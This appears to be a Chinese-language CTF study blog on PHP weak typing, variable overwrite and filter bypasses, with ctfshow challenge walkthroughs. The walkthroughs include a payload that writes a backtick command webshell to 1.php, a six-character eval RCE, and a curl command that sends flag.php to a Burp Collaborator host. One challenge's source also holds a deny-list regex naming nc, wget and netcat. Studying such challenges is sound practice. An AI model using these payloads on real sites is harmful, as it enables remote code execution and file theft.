由于本人发现我对php的特性只有浅显的认知,尤其是对正则表达式的认知不够充分所以写下这篇文章

弱类型比较

首先就是老生常谈的弱比教了。
由于对这块还是较为属性所以我就记录一些弱类型比较的函数就好
注意:一般弱比较只有在不同类型进行比较是才会展现出特性。

函数

in_array()

in_array()在数组中查找字符,找到返回true,没找到返回false

1
2
3
4
$array=array('aaa');
echo in_array(0,$array);
-------
bool(ture)

这个函数在数组中搜索给定的值,并返回键名(如果找到的话)。它是非严格的,意味着在比较时不会检查数据类型。

1
2
3
4
<?php
$array = array('0', '1aaaa', 2, '3');
$key = array_search(1, $array); // 这里会找到,因为 '1' 会被转换为整数 1
echo $key; // 输出 1

array_keys()

当与可选的 search_value 参数一起使用时,array_keys() 函数会返回所有匹配该值的键名。这也是非严格的比较。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$array = array('a' => 'apple', 'b' => 'banana', 'c' => 'cherry');
$keys = array_keys($array, 0); // 搜索值为 'banana'
print_r($keys);
/* 输出
Array
(
[0] => a
[1] => b
[2] => c
)
*/

我们可以发现其返回了所有键这是因为弱类型比较导致了字符和0被当成相等的。

变量覆盖

也是老生常谈的php漏洞了,主要成因是$$a=$$b发生了这样的双重赋值。

1
2
3
4
5
6
$flag=flag_in_here
$c=hahahaha
$a=flag
$b=c
$$b=$$a
echo $c

上面的代码并不会输出hahahaha而会输出$flag的值
这就因为$b指向c而$$b就代表了$c``$$a同理代表$flag这就导致了变量覆盖
有时候变量覆盖和输出会出现在函数里这时候我们可以尝试将变量覆盖为GLOBALS全局变量,这个变量保存了脚本所有的变量.

某些值得单领出来讲的函数

intval()

intval()这个函数还是挺有意思的所以我单领出来讲一讲
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1,如果参数为一个类返回0。

语法

1
2
3
4
5
6
7
8
9
int intval ( mixed $var [, int $base = 10 ] )

$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

参数为数组时,空数组返回0非空数组返回1

is_file()

这个函数的参数为存在的文件,如一个网页中的index.php之类的,会返回.如果我们要读取文件并且绕过这个函数的化我们可以使用
php伪协议,该函数不会将php伪协议的如php://filter当成文件

1
2
3
4
$file=$_GET['file'];
if(! is_file($file)){
highlight_file($file);
}

如上面的代码我们就可以使用php伪协议来绕过is_file
payload
1
?file=php://filter/resource=flag.php

ereg()

ereg 函数在 PHP 5.3.0 版本中被废弃,而在 PHP 7.0.0 版本中已经被完全移除
而这个函数本身就有一个漏洞就是NULL截断漏洞即%00截断漏洞
也就是说我们在进行正则匹配时可以使用%00截断之后夹带私货.
其函数检测到%00就不会在匹配下去.

_()

在打开gettext拓展时我们可以使用()这个函数
没错啊有这个函数
()是唯一一个以特殊特殊字符为名的
这个函数的真正作用时翻译,其返回值时翻译后的字符,但是一般返回值为正常的英文字母,即返回值有可能为原值。

get_defined_vars()

这个函数的返回值为当前脚本的全部变量

传地址。

是的php也是有传地址的,符合也是&。
我们来看一道抽象的php传址的题目

1
2
3
4
5
6
7
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

我们仔细观察会发现只要有GET传值$_GET的值就会被赋值为&$_POST也就是$_GET变成了$_POST
而最终highlight_file函数里只要$_GET['HTTP_FLAG']为flag就可以回显flag即
payload就是随便GET传个值再POST传值HTTP_FLAG=flag

做题时遇到的一些小盲点(是真的小)

回调函数利用类里的方法

回调函数像call_user_func是可以调用类里的方法的如下

1
2
3
4
5
6
7
class C
{
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['a']);

我们可以利用回调函数来调用getflag函数。调用方法如下
1
call_user_func(C::getFlag)

php手册
还可以尝试数组的方法来调用
可以向a以数组的方法传入两个值如下
1
a[0]=C&a[1]=getFlag

即向上面那样会变成
1
call_user_func(array(C,getFlag));

导致getFlag被调用

POST和GET传值遇到parse_str的变量覆盖

1
2
3
4
5
6
7
8
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '3' && $key2 == '3') {
die(file_get_contents('flag.php'));
}

像上面的几行代码,可以发现要使key1和key2都为3且不能直接向变量传值。
我们先看两句解析变量的代码。先是解析请求字符,在解析全局变量$_POST这就会存在一个变量覆盖,我们可以传值为?_POST[key1]=3&_POST[key2]=3那么经过函数解析这就会变成$_POST[key1]=3$_POST[key2]=3在经过extract函数就会使得key1和key2被赋值。

赋值和逻辑判断

1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

像上式我直接将$vo想当然的认为是逻辑判断后的结果,其实不是,该语句是先赋值后进行逻辑判断。所以$V0的值其实就是is_numeric($v1)的值

php非法变量名

在我们进行post和get传值是能将一些非法的变量名传入的。但是对于这些php也会自动处理,会将非法的变量名删除有下划线替代等。
$_POST['CTF_SHOW.COM']如上面的。如果正常使用POST传CTFSHOW.COM是无法传入的因为.会被删除或转换,但是这种转换是只有一次的即当有两个非法字符时只有前一个会被转换或删除。而在一些版本里[会被转换成那么我们就可以使用将POST中的改成[来使得后面的.保留从而成功转换。如下

1
CTF[SHOW.COM=lll

[会被转换成
从而正常给变量传值,

一些题目

反射类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

这一题需要使用反射类ReflectionClass
new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)
所以这题的paylaod为

1
?v1=111&v2=echo new ReflectionClass&v3=;

回调函数使用hex2bin将数字构造成字符串,进行文件伪协议写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

正常看到这题我们会尝试写入一句化木马,我们可以使用16进制数尝试绕过is_numeric再通过回调函数使用hex2bin函数将数组转化成一句化木马,再将v3赋值为1.php写入一句话木马。但是不知道是不是由于版本的原因is_numeric函数无法识别16进制。
我们只能使用科学计数法来构造<?=`cat *`;。这里使用了短标签和反引号进行命令执行

5044383959474e6864434171594473经过hex2bin函数变为<?=`cat *`;的base64编码。我们在通过伪协议来讲base64码解码后写入文件也就是给v3传值php://filter/write=convert.base64-decode/resource=1.php
payload

1
2
3
4
5
GET
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
------
POST
v1=hex2bin

最后打开1.php即可。

%0c绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

这题我们会发现其由于waf导致我们无法使用小数来进行绕过这时我们可以使用%0c来进行绕过,%0c是不可见字符,在php中%0c36==36那么这就导致了我们可以使用%0c来进行绕过.

ctfshow web入门 133

这题我认为是比较有价值记录的

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

首先我们可以看到其只能继续6个字符的rce。
https://blog.csdn.net/qq_46091464/article/details/109095382
这篇文章讲了这题的两种方法
重点是我们要使用
1
?F=`$F`;+sleep 3

上面的payload会成功执行sleep。那么这是为什么呢?
我们都知道`是内敛执行的返回即shell_exec()的缩写。
原因是$F就是
1
`$F`;+sleep 3

这就会导致一个变量的嵌套使得该语句一个是
1
``$F`;+sleep`

即在主机会执行上面的代码,导致后面的语句执行成功。
那么我们就有了几种思路。反弹shell,dnslog外带,和使用curl来讲flag.php带出。

curl讲flag.php带出

curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

1
2
3
4
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net


我看文章是可以dns带出的但是我不知道为什么只能带出ls的结果cat flag带不出